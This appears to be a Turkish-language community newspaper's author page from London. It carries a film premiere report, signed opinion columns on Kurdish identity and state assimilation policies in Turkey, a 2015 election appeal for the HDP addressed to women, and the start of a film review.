Author: ali

  • Londra’da Çekilen ‘Diren’ Filmi İzleyiciyle Buluşuyor

    Londra’da Çekilen ‘Diren’ Filmi İzleyiciyle Buluşuyor

    Londra’da Çekilen ‘Diren’ Filmi İzleyiciyle Buluşuyor 2

    Uzun emekler ve özverili çalışmalar sonucunda tamamlanan ‘Diren’ filmi, 9 Mayıs’ta gösterime giriyor.

    Yaşamlarına Londra’da devam eden toplumumuzun yetiştirdiği sevgi dolu ik genç Birkan Tercanlı ve Baran Bolat, ‘Diren’ isimli filmlerini Mayıs ayında gösterime sunmaya hazırlanıyor. Gençler, filmin tüm aşamalarında özveri ile çalışarak filmin çekim ve montajını tamamlayarak izleyiciye sunmaya hazırladı.

    Birkan ve Baran arkadaşlar, sıfır bütçeyle çektikleri filmlerinde, Londra’da doğup büyüyen bir gencin hikayesini anlatıyor. Film en başta, zayıf bir aile ilişkisi ve zorlu yaşam koşulları içinde bir çıkış yolu arayan gencin tutunduğu tek dal, fedakar annesi ve kızarkadaşıdır. Zorluklar ve sıkıntıların yakasını bırakmadığı gencin yaşamı içinde çıkmaza sürüklenişini beyaz perdeye yansıtan gençler, her üretken genç arkadaşlarımız gibi sponsor sıkıntıları ile de yüzleşti.

    Başrollerini Can Kabadayı ve Susku Ekim Kaya’nın yaptığı filmin yönetmenliğini Birkan Tercan ve yardımcı yazarlık, yardımcı yönetmenlik ve filmin ses kayıtlarını ise Baran Bolat gerçekleştirdi. ‘Diren’ filminde, Ayşe Nurdoğan, Erol Demir, Nazım Demir, Cem Yeşil, Dilan Seçgin, Ozan Opan, Mehmet Emin Şahin, Cem Ok ve Ufuk Bay’da oyunculukları ile filmin yapım aşamasında büyük emek ortaya koydular.

    Filmin yapımcıları ve yönetmenleri Birkan ve Baran arkadaşlar ile hazırladıkları film hakkında gerçekleştirdiğimiz reportajda öne çıkan en önemli nokta filmin yapım ve gösterime sunulması aşamasında sponsor konusu öne çıktı.

    Londra’da Çekilen ‘Diren’ Filmi İzleyiciyle Buluşuyor 1

    Film hakkında gazetemize açıklamada bulunan yönetmen Birkan Tercanlı, “yaşadığımız ülkede toplumsal sorunlarımızı dile getirecek bir film hazırlamak istedim. Bu filmin aileleri etkilemesini değilde daha çok bir mesaj vermek ve çocuklarına daha duyarlı davranmaları gerektiğini göstermektirç biz gençlere biraz daha destek sunulması gerektiğini savunuyorum. Filmin yapım aşamasında ve günlük yaşantımız da da karşılaştığımız en büyük sorun, aile desteği ve ailenin biz gençlere olan inancı ve motivasyonu. Ailelerimiz gençlere dahada destek olmalı ve motive etmeli.

    Yaptığımız sponsorluk görüşmelerinde firma sahiplerinden beklediğimiz desteği görmedik. Özellikle her fırsatta gençlere destek olduklarını dile getiren firma sahipleri bizim yaptığımız bu önemli işe destek vermemeleri bizleri derinden üzdü oysa bu iş insanları her ortamda gençlere yardımcı olduklarını idda ediyorlar.” İfadelerini kullandı.

    Baran Bolat ise verdiği demeçte, “ umarım bu yaptığımız film ile gurbette yaşayan sosyal ilişkilerden ve kendi etik değerlerinden uzak yaşayan ve içinde bulunduğu durumdan kurtulmanın yolu olarak hayatına son veren genç arkadaşlarımıza ve ailelerimize güzel bir mesaj verebilmek adına bu filmin yapımı için canla başla çalıştık.”

    ‘Diren’ filmi ile ilgili daha fazla bilgi edinebilmek için facebook.com/bibafilm ve Instagram.com/direnfilm ayrıca 9 Mayısta Odeon Lee Valley sinemasında saat 20.00’da yapılacak tek gecelik gösterimin, biletlerini rezervasyon usulu 07718080838 numaralı telefondan yaptırabilirler.

  • DEVŞİRMECİ İNANÇ KURUMLARI 3

    Başlangıçta İnsanlar için yaşam dürtüseldir, ancak toplumsal değerler (ayıp, günah, doğru, yanlış, fedakarlık, eşitlik, emek, onur,…)  öğrendikçe yaşam sosyal bilince dönüşüyor.

    İnsanların  uygarlığı, refahı,  mutluluğu sahip oldukları maddi manevi kuralların ne kadar adalete, eşitliğe, özgürlüğe ve yeniliğe dayandığı ile ilintilidir.

    Tarihte dinlerin ortaya çıkışları toplumların en çok sosyal siyasal kültürel ve ekonomik olarak çürüdüğü; adaletsizliğin, gericiliğin, zorbalığın olduğu dönemlerdir. Dinler tıkanmış İnsanın sorunlarını dönem itibari ile çözümler; maddi ve manevi yeni kodlamalar geliştirir.
    Dinlerin bu çıkışı ile toplum belirli kurallarda ortaklaşır; olumsuzluk durumunda maddi ve manevi  yaptırımları olur.

    İşte tamda bu noktada yani dinin toplum üzerindeki ağırlığını gören iktidarlar, egemenler, sömürücüler dini kontrollerine almak isterler. Dine sığınırken aslında dinin mülkiyet sahibi olurlar ve din hızla gericileştirilir. Çünkü egemenlere kitleleri uyuşturan ve kitleleri    çıkarlarına göre kullanacak bir dini kıvam gerekiyor.

    Egemenler, toplum sömürücüleri tarih içinde  Sasaniler Zerdüştlüğü, Romalılar öncesinde savaştığı sonrasında sahiplendiği Hristiyanlığı, İranlılar Şiiliği, Osmanlılar Sünniliği, Suudi Arapları Vahabiliği ve Selefiliği, Türkiye Cumhuriyeti Sünni Hanefiliği,….kullanmak üzere çıkarlarına göre dizayn ettiler.

    Mustafa Kemal Batı’dan esinlenerek ve onların yardımıyla ( Alman, Rus, İtalyan, İngiliz, Fransız) bir ulus devlet kurdu. Kısa bir dönem bir kısmıyla işbirliği bir kısmıyla savaşması yardım kaidesini bozmuyor. Bu konularda M. Kemal çok pragmatiktir; hepsine yakınlık göstermiş ve kullanmıştır. Misal Sovyetlerden trenler dolusu silah almış veya önemli oranda sanayiyi onlara yaptırmış ama Sovyetlerden taraf olmamıştır.

    M. Kemal tek millet (Türk)  yaratmak için İslam’ı bir değirmen olarak görmüş ve kullanmıştır.

    Bu temelde kurulan Türkiye cumhuriyeti kimliği farklı olan (Laz, Kürt, Çerkez, Boşnak,…) halkları İslam ortaklığıyla Türklüğe devşirmiştir. Kimlikleri, dilleri, kültürleri yasaklandı hatta konuşulan kelime başına para cezası uygulandı.
    Öte yandan merkezi Türkçe eğitim , Türk dil kurumu, Türk Tarih kurumu, Türk silahlı kuvvetleri, Türk radyo kurumu,… Vb gibi oluşumlarla havuç ve sopa politikalarıyla ağır bir Türkleştirme sistemi uygulandı.

    Öyle ki farklı Kimlikler için yaşamanın tek yolu Türk olmak veya Türkçülük dairesinde fikir ve inançlara sahip olmaktan geçiyordu.

    Kürt halkının çoklu dinsel (Hanefi, Şafi , Alevi, Ezidi, Hristiyan,…) yapıları da bu dayatılan ağır Türkçülükten nasibini aldı ve hızla kendi Kimliğini inkar temelinde sistemle  uzlaşma arayışına girdi.
    Bu temelde inançlar farklı meyillenmeler gösteriyordu ; felsefi yakınlığına göre kimisi doğuştan solcu oluyordu kimisi doğuştan radikal islâmcı oluyordu. Ama her halükarda Kürt kimliğini yadsımak zorunda kalıyorlardı.

    Serbest piyasa ekonomisinin uygulandığı ülkede bu işi ranta çevirmek isteyen bazı işbirlikçi kişilikler, halkın bu mağduriyetinden rant elde etmek için devletin asimilasyoncu politikaları çerçevesinde kendi kimliğini inkar etmeyi inançsal temelde kurumsallaştırdılar.

    Bazı kişi ve kesimlerin kurumları Irkçılığın, kimliksizliğin, ahlaksızlığın, asimilasyonun  rantçısı ve  işbirlikçisi durumuna düştüler.

    Toplum adına kurdukları inanç kurumları ile halkımızın sorunlarına sessiz kaldılar. Kurumlar aracılığı ile inanç sahiplerini kutuplaştırdılar. Halkın meselesini dil, kültür ve emek boyutundan koparıp sadece inanç meselesine dönüştürdüler.

    Etlisine sütlüsüne karışmayan her toplumsal sorundan kaçan birer kaçkınlık merkezi oldular.
    Böyle bir örgütlenme ve duruş ile  inançların özünü zedelediler. Binyılların iyilik direnişi İnançlar, bu özü olmayan kurumlar aracılığıyla içi boşaltıldı. Halkının yanında ve mücadelesinde yer almayan hangi İnanç varlığını, özünü, anlamını koruyabilir?

    Bu sözde inanç kurumları Devletin toplu kontrol aracına dönüştüler bunun karşılığında önleri açıldı. 1993 yılında Devletçe yapılan Sivas katliamından sonra; Kürt Aleviler mücadaleye dahil olmasınlar diye çuvallarla para verilen İzzettin Doğan  ve ona benzeyen kurumlar Aleviliğe ne katabilir.
    Yine aynı şekilde piyasaya sürülen devşirme Kürt Fethullah Gülen, Mehmet Metiner, Hizbullah,… Kürtleri özünden kimliğinden alıkoyma misyon ve ihalesi ile Islâma ne verebilirler.

    Adama sormazlar mı senin kimliğin, kültürün, dilin yok mu? Senin soyun sopun haysiyetin yok mu? Senin bu sözde güttüğün İnancın halkın için değilse kim içindir?  Senin bu inancının adalet, eşitlik, emek, özgürlük amacı yok mu? Senin bu inancın sana Kimliğini kültürünü dilini kazandırmıyorsa ne kazandırıyor? Utanmıyor musun halk için olan inancı halktan izole etmeye? Utanmıyor musun rantın ve rahatın için bu inancı pazarlamaya?

    Kimliği, kültürü, halkı kan revan içinde ölümüne mücadele verirken onlar seyirci kalıyorlar. Yada en iyi ihtimalde dayanışmacı kalıyorlar, sembolik olarak sahipleniyorlar.

    Yukarda saydığımız Kürtlerin kişi ve kurumları; Sünnisi, Alevisi, Ezidisi, … toplumumuzda çoğunluk değil, azınlıktırlar. Umarız en kısa zamanda  bu kişiler ve kesimler hatalarını anlar bu yanlıştan, bu işbirlikçi ve asimilasyoncu hizmetten, bu günahtan dönerler.

    Hak’ın  yolu; dili, kültürü, adaleti, ekmeği, özgürlüğü ile Halktan geçer …

    Sevgi ile….

  • Türkiye siyasetinde bilinmeyen faktör: Bireysel ve kurumsal devşirmecilik II

    Kemalist rejim tarafından uygulanan sistematik devşirme politikaları (Havuç ve Sopa) sonucu memleketin büyük bir çoğunluğu asimile olmuş haldedir.

    Toplumun rahatlıkla üçte ikisi kendi esas kimliğinden vebadan kaçar gibi kaçıyor.

    Dolayısıyla politik olarak söylediğiniz sözlerin doğruluğunun bir önemi olmayabilir; o sözler menfaat ve korku ile özüne yabancılaşmış kişileri etkilemiyor. Hatta bu kadar yoğun his, emek ve vizyon ile kendini kamufle eden birey ve toplumu rahatsız eder. Politik refleksi de o temelde olur.

    Bir çok ortamda ‘ne Kürt’ü ne Türk’ü  hepimiz kardeşiz’, ‘ne Sünni’si ne Alevi’si hepimiz Müslümanız’,  ‘ne Müslüman’ı ne Gayri Müslümi hepimiz Türk vatandaşıyız’, ‘ne kadını ne erkeği hepimiz Türk’üz’….. söylemleri ötekini yada kendini yok sayma kolaycılığı ve faşizmidir.
    Ya da sanki ortada dahil olunan iletişim sağlanan halihazırda bir egemen kültür yokmuş kurnazlığı dayatılır.

    Esas itibari ile insanın kuluçkası olan Kültürü silikleştikçe, o Kültür’ün (Kürt, Arap , Türk, Çerkez, Alevi, Hristiyan, Müslüman, …)  bireyi de daha kırılgan ve korumasız oluyor.
    Birey hedef olan kültürünü, kimliğini hızla güçlü olan, popülist olan egemen kimlikle veya benzeri ile ikame etmeye çalışır. Böylece bir siliklik, lakaytlık, umursamazlık, karaktersizlik alır başını gider.

    Artık devşirme bile değil , devşirilen egemen kültürün popülist devşirenidir.  Eziktir, ruhu yaralı; özüyle ilgili hatırlatmalarda ürperir. Dolayısıyla toplumsal ezilmeler, emek sömürüsü , azınlık hakları, kadın erkek eşitliği , işçi hakları, …vb gibi muhalif söylemlere direk karşıdır.

    Öç alacaktır hayattan onun için sığındığı cepheden kendi özüne ve azınlıklara , toplumculuğa fanatikçe saldırır.

    Buraya kadar anlatılan bilinci az olduğundan yaşama dürtüsü, zorluk veya dönüşme ferahlığı vb gibi nedenlerden dolayı çıkmaza sürüklenen birey ve onların zayıf toplumlarının hikayesidir. Özünde sosyolojik olarak anlaşılır bir durumdur. Neticede çoğumuzun durumu budur, var olan değer argümanlarıyla değerlendirilemez. Kemalist rejim ve Kapitalist piyasa iktidarının bize dayattığı yaşamdır.

    Ancak diğer bir kesim devşirme vardır ki bu kesim bilgi açısında donanımlı olmasına ve yanlışı görmesine rağmen mücadale etmek yerine;  öze sahiplenmeyi küçümser ve  gerçek anlamda sistemi karşısına almayacak sosyal, siyasal , kültürel ve ekonomik örgütlenmelere gider. Kimi zaman kimliğini tümden red eder,  kimi zaman ise sisteme barışık veya sisteme hizmet edecek şekilde kabullenir.

    Dolayısıyla sistemin hedefi olmaktan çıkmış ve hatta kendine Kurumsal yeni toplumsal misyonlar (Müslüman , Alevi, Kürt, Laz, Solcu, Köy derneği, Tüccar, Meslekçi,….) yükleyerek sözde maddi ve manevi olarak aklanmış oluyor.

    Örgütlü devşirmecilik; dayatılan zor karşısında  böyle cıvık bir çıkış yakalıyor.

    Ancak bu çıkış baskıcı sistemin ömrünü uzatıyor. Dahası mücadele verenlerin işini zorlaştırıyor. Artık dejenerasyon, popülizm hem devlet tarafından hem de sözde muhalif cephede yer alan kesim tarafından kurumsal olarak yapılıyor.

    Sonuç olarak farklılıkları düşman olarak gören zihniyetin değişmesi yerine, Farklılıklar binbir cambazlıkla tekçi zihniyete dönüşüyor. Mücadele vermemek için, bölünmek için sözde farklılıklarına dem vurur hale geliyor.

    Burada tartışılan şey değerlerin üstünlüğü meselesi değildir. Kaldı ki her ne adına yapılırsa yapılsın bugün en büyük kötülük veya devşirmecilik Türk halkına dayatılıyor. Başkasına yaşam şansı tanımayan bir toplumun kendisi de insanlıktan devşiriliyor (feragat) , uzaklaştırılıyor .
    Demek ki mesele güçlü güçsüz meselesi değil, demokratik özüyle var olma meselesidir . Bir kültürü (özü) olmayanın  kişiliği olmaz, Kişiliği olmayanın da ne samimi bir inancı nede fikri ideolojisi oluşamaz.

    Bu temelde yazı dizisini sözde öz adına veya  insanlık adına yola çıkmış ama sisteme devşirmecilik yapan Kurumsal Devşirmeciliği : inanç yapıları, siyasal yapı ve dernekler, ticari ve mesleki devşirmecilik alanlarını ele alacağız.

    Tekçi değil , çoğulcu toplum için; popülist değil toplumcu siyaset için, inkârcı değil özüne sahiplenen toplum için  devşirmeciliğin ve devşirenlerin açığa çıkması gerekiyor.

    Değişim ve dönüşüm inkârla olmaz, ancak özün (kültürün) demokratik evrimiyle olur. Aksi takdirde düzene payanda olur ,siyaset ve yaşamı ıskalarız.

    Umut ve emek ile kalın…

  • TÜRKİYE’DEKİ HAZİRAN SEÇİMLERİ ve KADIN

    TÜRKİYE’DEKİ HAZİRAN SEÇİMLERİ ve KADIN 1

    Başta kadınlar olmak üzere 13 yıldır yaşamları karartılmaya çalışılan farklı inançlardan, uluslardan, mezheplerden halklar ve sürgünde yaşayan biz göçmen ve mülteciler, yeni bir sınavla karşı karşıyayız. Ya; eşit, özgür, adil, insanca ve onurlu bir yaşam irademizi ve umutlarımızı sandıklara taşıyacağız, Ya da; karartılan yaşamımızdan yakınmaya, onurumuzun çiğnenmesine, geleceğimizin karartılmasına, kadın katliamlarına seyirci kalacağız!

    Türkiye, 7 Haziran 2015’te genel seçimlere gidiyor. Avrupa’da 3 milyon civarında seçmenin oy kullanacağı bu seçimler, tüm ezilen ve sömürülenlerin olduğu gibi biz kadınların geleceği bakımından da belirleyici bir önemde.

    Çünkü bu seçimler; 13 yıldır uygulana gelen gerici, baskıcı, hiçleştirici, tekleştirici ve köleleştirici politikaların katmerlenerek devamı, yada eşit, özgür, adil ve insanca bir yaşam tercihimizin resmini verecek.

    Bilindiği gibi tek parti diktatörlüğüne dönen ülkede; gerici-faşist AKP hükümeti iktidara ilk geldiğinde, kendisi için de bir tehdit olan Milli Güvenlik Kurulu (MGK)’nın yetkilerini ele almış, birçoklarını emekliliğe ayırarak, tutuklayarak önündeki engelleri temizlemişti. Bu temizlik hiç kuşkusuz işçi ve emekçilerin de yıllardır üzerine çöken askeri baskı rejiminin çözülmesi anlamını taşıyor ve sempati ile karşılanıyordu.

    Fakat, giderek yargıda, bürokraside, askeri ve güvenlik birimlerinde kademeli olarak tüm devlet mekanizmalarını ele geçirerek kendini sağlama alan AKP ve ardındaki sermaye grubu, aldatıcı liberal perdesini bir tarafa atarak adına “uzmanlık devresi” dedikleri gerici-faşist, saldırgan diktatörlüklerini devreye sokmaya başladılar.

    Kadınlar; AKP’nin köleleştirmeyi hedeflediği ilk toplumsal kesit oldu

    Başörtüsü serbestliği adı altında, artık ilk okullara kadar inen “başörtüsü serbestisi” getirildi. Okullar, Sünnileştirme mekanlarına dönüşmeye başladı. Artık, “hamile kadınların sokağa çıkması terbiyesizlik”, “kadınların kahkaha atması iffetsizlik” oldu. Kadınların çalışmaması, en az 3 çocuk doğurarak çocuk yetiştirmesi istendi. Kadın bedenine müdahale edilerek, tecavüz sonucu yaşanmış hamilelikler de dahil kürtaj yasağı gündeme getirildi. “Tecavüzcü, kürtaj yaptıran tecavüz kurbanından daha masum” dendi.” “Örtüsüz kadın perdesiz eve benzer”. “Bunlar ya satılıktır ya kiralıktır” dendi. Saymakla bitiremeyeceğimiz kadın yaşamına yönelen baskılar, kural ve erkek egemen ahlak kaideleri, AKP döneminde kadına yönelik şiddeti yüzde 1400 oranında arttırdı. Artık ülke toprakları; her gün 5 kadının öldürüldüğü bir coğrafya oldu.

    “Ana Muhalafet” CHP ne yaptı / yapıyor?

    CHP, uzun zamandır iktidar yüzü görmese de halkların çokça deneyimlediği partilerden biri. Tüm konularda olduğu gibi kadın özgürlük mücadelesinde de sadece laf yapan bir parti.

    Türk devletinin en eski partisi olmasına karşın, hala CHP içerisinde kadının eşitlenme şansı olmamış. Kadın Adayları Destekleme Derneği (KA-DER) in verileri ve değerlendirmelerine göre, CHP’nin parti organlarında ve adaylık süreçlerinde yüzde 33 kota uygulayacağına dair iç tüzüğü olmasına karşın, bu maddeler uygulanmamakta.

    CHP; kendi hükümetleri dönemi dahil, muhalefet süreçlerinde de kadın sorunlarında ciddiye alınır bir müdahale içerisinde olmamış, daha da ötesi oy avcılığı için gerici dalgaya teslim olabilen kemiksiz bir parti olduğunu belgelemiştir. Kemalist laiklik konusunda burnundan kıl aldırmayan CHP; Ekmeleddin İhsanoğlu gibi tescilli bir gericiyi Cumhurbaşkanı adayı göstermekten sakınmamıştır. MHP gibi yine tescilli bir faşist parti ile kol kola olmayı her fırsatta sürdürmektedir.

    Dolayısıyla tek seçeneğimiz bulunmaktadır: Her ulustan, mezhepten, inançtan, etnik kimlikten kadın ve erkeklerin, ötekileştirilenlerin birleşik demokratik cephesi HDP!

    Halkların Demokratik Partisi (HDP); Kadın Özgürlükçü Bir Partidir!

    Emeğin ve ezilenlerin kurtuluşu için; özgürlük, barış ve adalet için mücadele eden güçlerin birliğinden oluşan HDP: Yeni bir parti olmasına karşın, merkezden yerel örgütlere kadar her örgütlenmede Eş Başkanlık ve kota sistemiyle siyasette eşit temsilin sağlanmasını zorunluluk haline getiren ve uygulayan tek partidir.

    HDP: Erkek egemen sisteme, politika ve uygulamalara, kadına yönelik şiddetin bütün biçimlerine karşı mücadele eden, kadın cinayetlerinin sonlanması, can güvenliğinin sağlanması için mücadele eden, “Kadına yönelik cinsel şiddetin tanınması ve soruşturulmasında kadın beyanı esastır” ilkesini savunan tek partidir.

    HDP: Kadın işçi ve emekçilerin üretim sürecindeki eşitsiz konumlarına karşı verdikleri mücadelenin yanında olan, eşit işe eşit ücret talebini sahiplenen, çalışma yaşamında kadınlara yönelik engellerin kaldırılması, eşitsizliklerin aşılması için mücadele içerisinde olan tek partidir.

    HDP: Başta kendi içindeki cinsiyetçilikle mücadele olmak üzere, tüm cinsiyetçi ilişkilere ve cinsiyetçi dile karşı mücadeleyi görev bilen tek partidir.

    HDP: Kazandığı Belediyelerde; kamu hizmetlerini kadınların ihtiyaçlarını önceleyerek yapan, kadınlara pozitif ayrımcılık ilkesiyle hizmet veren tek partidir.

    HDP: Sadece kadınlara hizmette öncelik veren değil, aynı zamanda tüm yerel yönetimlerde ve belediyelerinde; yereldeki kadınların katılımıyla oluşan Kadın Meclisleri aracılığıyla, yerel yönetimlere kadınların doğrudan müdahale etmesini sağlayan ve kendisini Kadın Meclislerinin denetimine açık tutan tek partidir.

    HDP: Erkek egemen sistemin kadını köleleştirmek için adını “ahlak” olarak tanımladığı tüm cinsiyetçi kural ve sınırları reddeden, kadının eşit, özgür ve saygın bir kimlik olarak toplumda yer bulmasını savunan tek partidir.

    HDP: Kadınların ev içi emeğinin görünür kılınmasını önemseyen, değer ürettiğini kabul eden ve ev emekçisi kadınların sosyal haklarını kazanması için mücadele eden tek partidir.

    HDP: Kadınların örgütlenmesi önündeki her tür engelin kaldırılması, ekonomik, toplumsal, siyasal, hukuksal, kültürel ve sosyal alanda erkek egemen sistem nedeniyle kadınların yaşadığı eşitsizliğe karşı, fiili ve gerçek bir eşitliğin sağlanması için mücadele eden tek partidir.

    HDP: Kadın bedeninin ve cinselliklerinin denetlenmesine karşı çıkan, kürtajı bir kadın hakkı olarak savunan, kadınları erkek şiddetinden korumak için ekonomik ve sosyal politikaları benimseyen ve uygulayan tek partidir.

    OYLAR; EŞİTLİK, ÖZGÜRLÜK ve ONURLU BARIŞA!

    HDP; Yeni yaşam çağrısıdır:

    Yeni yaşam; Halkın doğrudan kendini yönettiği, etnik, dinsel, cinsel ve ulusal ayrımların olmadığı, farklılıklarını özgürce ve gururla ifade ettiği, işçi ve emekçilerin, ezilen ve sömürülenlerin gelecekleri hakkında söz, yetki ve karar sahibi olmasıdır.

    Yeni yaşam; Onurlu barışa inanmaktır. Kürt sorununun, barışçı, demokratik, eşit haklara ve gönüllü birliğe dayalı çözümüdür. Eşit ve özgür yurttaşlık hukuku içerisinde yaşama hakkıdır.

    Yeni yaşam; Adalettir. Cinsiyetçi olmayan, ekolojik, eşitlikçi, sosyal ve özgürlükçü bir anayasaya sahip olmaktır.

    Yeni yaşam; İşsizliğin, iş cinayetlerinin, çocuk işçiliğinin olmadığı, esnek, sağlıksız, güvencesiz ve sigortasız çalışmanın ortadan kaldırıldığı, sendikasızlaştırma ve taşeronlaştırma saldırılarının son bulduğu, çalışma sürelerinin kısaltılarak emek değerinin karşılığının sağlandığı yaşamdır.

    Yeni yaşam; Kapitalizme, emek sömürüsüne, yolsuzluk ve talana; gelir dağılımındaki uçuruma, açlık ve yoksulluğa karşı, işçi ve emekçilerin insan onuruna yaraşır ekonomik ve sosyal koşullara sahip olmasıdır.

    Yeni yaşam; Zorunlu din derslerinin kaldırılması, Alevi, Hıristiyan, Musevi, Ezidi gibi ezilen ve dışlanan tüm inanç ve kültür grupları üzerindeki baskıların kaldırılması, halklara ve inançlara eşit yurttaşlık hakkı ve özgürlüğün tanınmasıdır.

    Yeni yaşam; Küçük bir azınlığın çıkarları için yapılan doğa katliamının son bulması, korunmasıdır.

    Yeni yaşam; İşsizlik, baskı ve yoksullukla terbiye edilmeye çalışılan gençlerin, yönetimde söz sahibi olması, zorunlu askerliğin kaldırılmasıdır. Gençliği bir asayiş sorunu olarak tanımlayarak zapt etmek değil, siyasetin ve hayatın her alanında gençliğin aktif katılımını sağlamak ve örgütlenmeleri önündeki tüm yasal engellerin kaldırılmasıdır.

    Yeni yaşam; Parasız eğitim hakkıdır. Herkesin eğitimde fırsat eşitliğine sahip olması, milliyetçi ve cins ayrımcı öğelerden arındırılmış eğitim hakkına sahip olmasıdır. Ana dilde eğitim hakkıdır. Üniversitelerin, akademik ve demokratik özerkliklerinin tanınmasıdır.

    Yeni Yaşam; Homofobi ve transfobinin olmadığı, insanların cinsel yönelim ve cinsiyet kimliği nedeniyle öldürülmediği, ayrımcılığa uğramadığı eşitlikçi, özgürlükçü bir yaşamdır.

    Yeni yaşam; toplum üzerinde yükselen otoriter, antidemokratik, bürokratik ve cinsiyetçi devlet anlayışının son bulması, tek tipçi dayatmalara karşı çoğul, farklılıkların eşit ve gönüllü beraberliğine dayalı bir toplumsal varoluştur.

    Köleliği reddeden tüm kadınlarımızı; “Yeni Yaşam” çizgisi etrafında birleşmeye, sandıkları eşitlik ve özgürlük kürsülerimiz olarak kullanmaya çağırıyoruz! 

    Oylar HDP’ye!

    Hatice Güden

  • TÜRKİYE SİYASETİNDE BİLİNMEYEN FAKTÖR : DEVŞİRMELER 1

    Türkiye’de Şovenizm cerahatiyle dolup taşan tarihçilerin duygudan uzak tarifleriyle tanıştık “devşirme ” tanımıyla. İdeolojisi tekçilik olan bir memlekette düşünmek veya sorgulamak kimin aklına gelir ki….

    Balkanlar’da Yunan, Bulgar, Boşnak, Sırp,….tarihte şu kadar esir alındı dendiğinde bir zafere ortaklık, şu kadar cariye getirildi dendiğinde yine bir hoşnutluk olurdu renksiz yüreklerde…

    Ülkedeki son 40 yıllık Kürt mücadelesiyle bu memlekette kimliklerin, İnançların, kültürlerin varlığından ve varlığımızdan haberdar olduk.

    Kolay olmadı binlerce köy yakıldı, on binlerce insan öldürüldü. Bırakın yabancıyı babası kardeşi ben Kürdim diyenin kafasını kırıyordu ve düzene gururla teslim ediyordu.
    Kendi kültürüne cüzzamlı muamelesi yapan sözde solcular, korkak sözde aydınlar bile bir avuç Kürdin mücadelesini bölücülük, milliyetçilik, hatta emperyalizm işbirlikçiliği,… İle suçluyordu.
    Korkudan sağ sol ideolojilere demir atanlar takla üstüne takla, manevra üstüne manevra yaptılar ve yapıyorlar.  Elbette insanlık mücadelesi sadece Kimlik, İnanç ve kültürler meselesi değildi, ama bu yola onursuz da çıkılamazdı. Ortada sistematik kendinden otomatik bir sinsi devşirme sistemi mevcut. Kendini inkar ahlaksızlığı ahlak olarak dayatıldı.

    Kürt’ün durumu bu iken T.C devletinin kuruluşunda sayıları otuzları bulan diğer inançlarda ve kimliklerde ise asimilasyon nerdeyse tamamlanmıştı. Devşirilenler kraldan daha çok kralcı, en inançlı Müslümana, en kavgacı Milliyetçiye, veyahut en Ulusalcı solcuya yelken açıyordu.
    Öyle ki gerçekte Türk olanlar konumuna göre yeterince Türk, Müslüman , Nasyonalist solcu olamadıkları gerekçesiyle fırça  yiyorlardı.

    Bir kısım Kürt ve Devrimcinin direnişi sonucu Sistem tarafından dayatılan maddi ve manevi soysuzluk politikası , kendini inkar politikası yavaş yavaş geniş Kürt kesimleri de dahil her kesimin kendini sorgulamasına dönüştü.

    Farklılıkların özüne Kavuşma çabalarının  arttığı oranda , Türk halkının farklılıkları  kabullenmesi de aynı oranda arttı. Neticede Özgürlük ne esir olmaktı nede esir almaktı. Özgürlük adalet ve eşitlik olmadan  gerçekleşmiyordu.

    İnsani mutluluk ile adalet ve eşitlik arasında  doğru orantı mevcuttur.

    Yukarda anlatılanın aksine ters bir orantı varoldu Türkiye’de ; o yüzden memleketin bolluk bereketine rağmen mutluluk ve refah var olamadı.

    İnsanlık tarihi boyunca farklı olanı öldürme, esir alıp köleleştirme ,devşirme, cariye (kadın köle) olarak kullanma hep var oldu. Tekçi devlet aygıtlarının kurbanı olmamızdan dolayı pek hissetmedik bu kelimelerin anlamını.

    Ancak sahipleri tarafından dizayn edilip Ortadoğu coğrafyasına salınan İŞİD belasının bölgede insanlığa yaşattıklarıyla tarihte bahsedilen bu “kelimeler” zihnimizde ve kalbimizde acıyla somutlaşabildi.

    Kaldı ki İŞİD bugün bunu yapıyor , tarihte kim bilir bunun kaç katı ölüm, işkence, tecavüz, kölelik, cariye ve zorunlu devşirmecilik oldu. Dün hissetmeden taraflı dinlediğimiz bu “kelimelerin”, bugün gördüklerimizin karşısında hissi ve vicdani ağırlığı altından kalkamıyoruz.
    Meğer bizler , halklar ne kadar çok kandırılmışız, kazıklanmışız, suça ve günaha ortak olmuşuz .

    Bu duygular içinde Türkiye Cumhuriyeti tarihi , devşirme tarihi zihnimden akıyor…
    Kürt Ziya Gökalp, Pomak Talat Paşa, Pomak Enver Paşa, darbeci Kürt Cemal Gürsel, Boşnak Kenan Evren, Alevi Abdülkadir Selvi, Alevi Dedesi İzzettin Doğan, Arap Oktay Vural, Erzincan Ermenisi Doğu Perinçek, Kürt ve Sabatay karışımı Fethullah Gülen, Gürcü R. Tayyip Erdoğan….saydıkça bitmiyor bu devşirmeler …halkların ve barışın düşmanları..

    Özüne ve özümüze düşman ve bu düşmanlığı , kavgayı kendine sermaye yapan bu devşirmelere rağmen barış gelebilecek mi. Ve içimdeki barış umudu gidip geliyor….

    Bu hüzünle Pencereden  bakıyorum güneşli havaya , ağaca, yeşile, kuşa, koşturan çocuklara…. bahar yaşam direnci sunuyor , doğa ve insan cıvıl cıvıl….

    İnsanlık  mücadelesinin sırrı Newroz milyonlar olup yeryüzüne akıyor faşizmi ve devşirmeleri silercesine…

    Devşirme piyonlar  silikleşiyorlar hafızamda …. Kobani’den Bahar ve Newroz tren olup katar katar umut getiriyor….Umudumuzun projesi HDP’yi getiriyor.

    Umut ve emek ile kalın…

    Newroz piroz be!

    Bülent Bingöl

  • Annelerimizin kayıp şarkısı

    Erol Mintaş’ın “Klama Dayikamın” (Annemin Şarkısı) filmini ilk olarak prömiyer yaptığı Saraybosna Film Festivali’nde En İyi Film ve başrol oyuncusu Feyyaz Duman’ın En İyi Erkek Oyuncu ödüllerine değer görülmesiyle duymuştuk. Henüz İngiltere’de gösterilmedi, internet üzeri şifreli linkten izleme olanağı buldum -Türkiye’de bu aralar DVD’sinin satışa çıktığını da hatırlatalım-.

